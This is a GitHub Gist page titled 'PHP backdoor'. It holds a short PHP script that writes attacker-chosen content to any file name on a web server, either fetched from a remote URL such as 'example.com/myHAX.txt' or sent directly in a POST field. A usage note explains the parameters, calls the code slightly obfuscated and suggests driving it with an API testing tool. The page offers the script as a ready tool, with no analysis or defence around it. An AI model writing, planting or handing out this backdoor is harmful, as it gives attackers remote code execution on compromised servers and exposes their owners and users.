Last active
September 5, 2020 13:32
-
-
Save matdombrock/ce5718dbae870ceb7052 to your computer and use it in GitHub Desktop.
PHP backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$n=$_POST["n"]; | |
$g=$_POST["g"]; | |
$w=$_POST["w"]; | |
$gg=file_get_contents($g); | |
echo $n; | |
if($_POST["g"]){ | |
$nn = $gg; | |
} | |
if($_POST["w"]){ | |
$nn = $w; | |
$nn=stripslashes($nn); | |
} | |
file_put_contents($n, $nn); | |
echo "PUT0"; | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
n=nameOfNewFile.php | |
g=Url to retrive new files contents from. For instance "example.com/myHAX.txt" (optional) | |
w= Content to write to new file if you did not define "g". | |
A value for "n" and either "g" or "w" are required. | |
This is quick and dirty code, only slightly obfuscated. | |
since this code had no front end, you will either want to build a tool to interface with it or use api testing tool. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment